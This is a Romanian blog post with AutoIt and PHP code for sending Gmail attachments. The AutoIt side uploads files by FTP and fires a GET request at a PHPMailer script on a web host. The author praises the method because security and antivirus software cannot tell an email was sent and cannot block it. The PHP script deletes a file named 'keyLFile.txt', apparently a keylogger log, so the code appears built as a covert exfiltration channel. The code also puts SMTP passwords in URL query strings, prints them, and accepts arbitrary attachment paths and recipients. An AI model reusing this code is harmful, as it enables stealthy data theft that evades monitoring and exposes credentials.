SendEmail with Gmail autoit and PhpMailer

This article has been written before more than 24months, information might old.

In help-file-ul din autoit exista 2 functii prin care se poate trimite un email(_INetSmtpMail , _INetMail ), dar niciuna  nu va putea fi folosita pentru a trimite un email folosind un server care foloseste ssl sau ttl ( precum gmail ) , exista pe forumurile autoit o functie numita  _INetSmtpMailCom , problema cu acea functie e ca de cele mai multe ori nu merge ea are nevoie de o librarie care nu prea exista deloc in system si de cele mai multe ori obiectul ce trebuie sa fie creat de acea functie nu va fi creat ceea ce inseamna ca functia implicit nu va functiona .

De asemenea o alta solutie este descarcarea automata a unui soft si trimiterea emailului printr-un terminal ascuns ce acceseaza softul cu argumente , dar acasta metoda este anevoiasa implica multe complicatii si poate fi blocata de tot felul de programe anti-virus , si chiar daca nu este blocata de cele mai multe ori tot nu este solutia ideala .

Logic ideal ar fi sa existe suport pentru o functie scrisa nativ care sa suporte ssl , dar inca nimeni nu s-a sinchisit sa scrie asa , o implementare buna care ar putea fi adaugata in interpretorul autoit ar fi aceasta http://www.codeproject.com/Articles/98355/SMTP-Client-with-SSL-TLS dar probabil ca ar creste destul de mult interpretorul pentru ca implementarea c++ mentionata anterior foloseste libraria openssl .

In orce caz nu cred ca vom vedea prea curand un update care sa aiba o astfel de functiie .

Eu unul am mai gasit o varianta relativ buna , dar care necesita un host care sa suporte ssl .

Pe scurt ideea ar fi cam asa :

1 Scriptul autoit uploadeaza prin ftp fisierul / fisierele care vor fi trimise prin email ,

2 Scriptul trimite un reqest de tip GET catre un script php ,

3 Scriptul php care include clasa PhpMailer preia datele din GET inclusiv calea catre fisierele uploadate si trimite mail cu fisierele uploadate ca atasamente , apoi sterge fisierele uploadate

Astfel rezolvam urmatoarele probleme :

1 Va merge pe orice sistem , fara sa necesite librari in plus sau alte componente

2 Nu va fi nevoie de nici o extragere din exe-ul principal sau o descarcare de pe internet

3 Nu se mai va realiza o conexiune pe port 465 si implicit nici-un program anti-virus sau de securitate nu va mai putea stii ca s-a trimis un email

4 Email-ul nu poate fi blocat pentru ca este sub forma de request GET si nu il va percepe ca un email ci pur si simplu ca o accesare a unui site

functia autoit arata cam asa :

 

#Include <FTPEx.au3>

Func _email_by_ftp($PhpScriptHost,$LocalFile, _
$FtpHost,$FtpUser,$FtpPass,$FtpDir,$FtpFile, _
$SmtpHost,$SmtpUser,$SmtpPass,$SmtpPort,$SmtpSsl, _
$SmtpTo,$SmtpToName,$SmtpFrom,$SmtpFromName,$SmtpSubject, _
$SmtpMessage,$SmtpAttach )

Local $ftpOpen = _FTP_Open("FTP")
Local $ftpConn = _FTP_Connect($ftpOpen,$FtpHost,$FtpUser,$FtpPass,1)

If(StringInStr($FtpDir,"/") > 0 ) Then
Local $goDir = StringSplit($FtpDir,"/")
For $i=1 To $goDir[0] Step + 1
_FTP_DirSetCurrent($ftpConn,$goDir[$i])
Next
Else
_FTP_DirSetCurrent($ftpConn,$FtpDir)
EndIf

_FTP_FilePut($ftpConn,$LocalFile,$SmtpAttach)
_FTP_Close($ftpOpen)

$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
$oHTTP.Open("GET", $PhpScriptHost&"?" & _
"SmtpHost="&$SmtpHost&"&SmtpUser="&$SmtpUser&"&SmtpPass="&$SmtpPass&"&SmtpPort="&$SmtpPort&"&SmtpSsl="&$SmtpSsl & _
"&SmtpTo="&$SmtpTo&"&SmtpToName="&$SmtpToName&"&SmtpFrom="&$SmtpFrom&"&SmtpFromName="&$SmtpFromName& _
"&SmtpSubject="&$SmtpSubject&"&SmtpMessage="&$SmtpMessage&"&SmtpAttach="&$SmtpAttach , False)
ConsoleWrite($PhpScriptHost&"?" & _
"SmtpHost="&$SmtpHost&"&SmtpUser="&$SmtpUser&"&SmtpPass="&$SmtpPass&"&SmtpPort="&$SmtpPort&"&SmtpSsl="&$SmtpSsl & _
"&SmtpTo="&$SmtpTo&"&SmtpToName="&$SmtpToName&"&SmtpFrom="&$SmtpFrom&"&SmtpFromName="&$SmtpFromName& _
"&SmtpSubject="&$SmtpSubject&"&SmtpMessage="&$SmtpMessage&"&SmtpAttach="&$SmtpAttach)

$oHTTP.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 4.0.20506)")
$oHTTP.Send()
$oReceived = $oHTTP.ResponseText
Return $oReceived
EndFunc

Scriptul Php arata cam asa :


<html>
<head>
<title>PHPMailer - SMTP (Gmail) advanced test</title>
</head>
<body>

<?php
require_once('phpmailer/class.phpmailer.php');
//include("class.smtp.php"); // optional, gets called from within class.phpmailer.php if not already loaded

$mail = new PHPMailer(true); // the true param means it will throw exceptions on errors, which we need to catch

$mail->IsSMTP(); // telling the class to use SMTP

try {
  //$mail->Host       = "mail.yourdomain.com"; // SMTP server
  $mail->SMTPDebug  = 2;                     // enables SMTP debug information (for testing)
  $mail->SMTPAuth   = true;                  // enable SMTP authentication
  $mail->SMTPSecure = "ssl";                 // sets the prefix to the servier
  $mail->Host     = $_GET['SmtpHost'];   // = "smtp.gmail.com";      // sets GMAIL as the SMTP server
  $mail->Port      = $_GET['SmtpPort']; // = 465;                   // set the SMTP port for the GMAIL server
  $mail->Username  = $_GET['SmtpUser']; //  = "yourusername@gmail.com";  // GMAIL username
  $mail->Password  = $_GET['SmtpPass']; //  = "yourpassword";            // GMAIL password
  //$mail->AddReplyTo('name@yourdomain.com', 'First Last');
  $mail->AddAddress($_GET['SmtpTo'], $_GET['SmtpToName']);
  $mail->SetFrom($_GET['SmtpFrom'], $_GET['SmtpFromName']);
  //$mail->AddReplyTo('name@yourdomain.com', 'First Last');
  $mail->Subject = $_GET['SmtpSubject'];
  //$mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; // optional - MsgHTML will create an alternate automatically
  $mail->MsgHTML($_GET['SmtpMessage']);
  $mail->AddAttachment($_GET['SmtpAttach']);      // attachment
  //$mail->AddAttachment('images/phpmailer_mini.gif'); // attachment
  $mail->Send();
  echo "Message Sent OK</p>\n";
} catch (phpmailerException $e) {
  echo $e->errorMessage(); //Pretty error messages from PHPMailer
} catch (Exception $e) {
  echo $e->getMessage(); //Boring error messages from anything else!
}
unlink("keyLFile.txt")

?>

</body>
</html>

Se poate testa cu codul de mai jos inlocuind cu datele corespunzatoare ( datele de ftp , si datele de smtp )

ConsoleWrite(_email_by_ftp("http://azraelsub7.t15.org//ssemail/ssemail.php(adresa script)","fisier local","host ftp","user ftp","parolaftp","public_html/ssemail","","smtp.gmail.com(host smtp)", _
"ss@satanic.ro(cont smtp)","parolasmtp","port(465)","","to adress","to name","(from adress)","from name","subiect","mesaj","fisier ftp ( atasament )"))

Share the joy

Leave a Reply